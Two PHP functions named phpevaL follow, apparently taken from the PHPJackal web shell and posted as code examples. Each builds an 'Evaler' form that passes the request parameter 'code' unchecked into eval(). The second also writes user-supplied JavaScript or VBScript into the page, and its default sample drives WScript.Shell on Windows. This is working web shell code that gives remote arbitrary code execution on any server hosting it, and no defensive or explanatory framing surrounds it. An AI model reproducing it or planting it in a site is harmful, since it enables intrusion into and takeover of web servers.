function phpevaL()
{
    global $t, $hcwd, $et;
    echo '<center>';
    if (!empty($_REQUEST['code'])) {
        $s = array('<?php' => '', '<?' => '', '?>' => '');
        echo "<textarea rows='10' cols='64'>";
        echo htmlspecialchars(eval(replace_stR($s, $_REQUEST['code'])));
        echo '</textarea><br><br>';
    }
    echo "{$t}Evaler:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Codes:</td><td bgcolor='#666666'><textarea rows='10' name='code' cols='64'>";
    if (!empty($_REQUEST['code'])) {
        echo htmlspecialchars($_REQUEST['code']);
    }
    echo "</textarea></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>{$hcwd}<input class=buttons type=submit value=Execute></form>{$et}</center>";
}
Esempio n. 2
0
function phpevaL()
{
    global $hcwd, $windows, $VERSION;
    echo '<form class="form" method="POST">';
    if (!empty($_REQUEST['code'])) {
        echo '<div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield">
</div></div><pre>';
        if ($_REQUEST['lang'] == 'php') {
            $s = array('<?php' => '', '<?=' => '', '<?' => '', '?>' => '');
            echo htmlspecialchars(eval(replace_stR($s, $_REQUEST['code'])));
        } elseif ($_REQUEST['lang'] == 'javascript' || $_REQUEST['lang'] == 'vbscript') {
            echo '<script type="text/' . $_REQUEST['lang'] . '">';
            echo strip_tags($_REQUEST['code']);
            echo '</script>';
        }
        echo '</pre>';
    }
    echo '<div class="fieldwrapper"><label class="styled">Code:</label><div class="thefield"></div></div>
<textarea cols="80" rows="20" class="lined" name="code">';
    if (!empty($_REQUEST['code'])) {
        echo htmlspecialchars($_REQUEST['code']);
    } else {
        echo 'if($windows){
   $obj = new COM("WScript.Shell");
   $obj->Run("notepad", 9);
   sleep(2);
   $obj->SendKeys("PHPJackal v$VERSION{ENTER}By Nima Ghotbi");
}
';
    }
    echo '</textarea>
' . $hcwd . '<div class="buttonsdiv"><select name="lang"><option value="php" ';
    if (!isset($_REQUEST['lang'])) {
        $_REQUEST['lang'] = '';
    }
    if ($_REQUEST['lang'] == 'php') {
        echo 'selected';
    }
    echo '>PHP</option><option value="javascript" ';
    if ($_REQUEST['lang'] == 'javascript') {
        echo 'selected';
    }
    echo '>JavaScript</option><option value="vbscript" ';
    if ($_REQUEST['lang'] == 'vbscript') {
        echo 'selected';
    }
    echo '>VBScript</option></select><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form><script>
$(function() {
$(".lined").linedtextarea(
{selectedLine: 1}
);
});
</script>';
}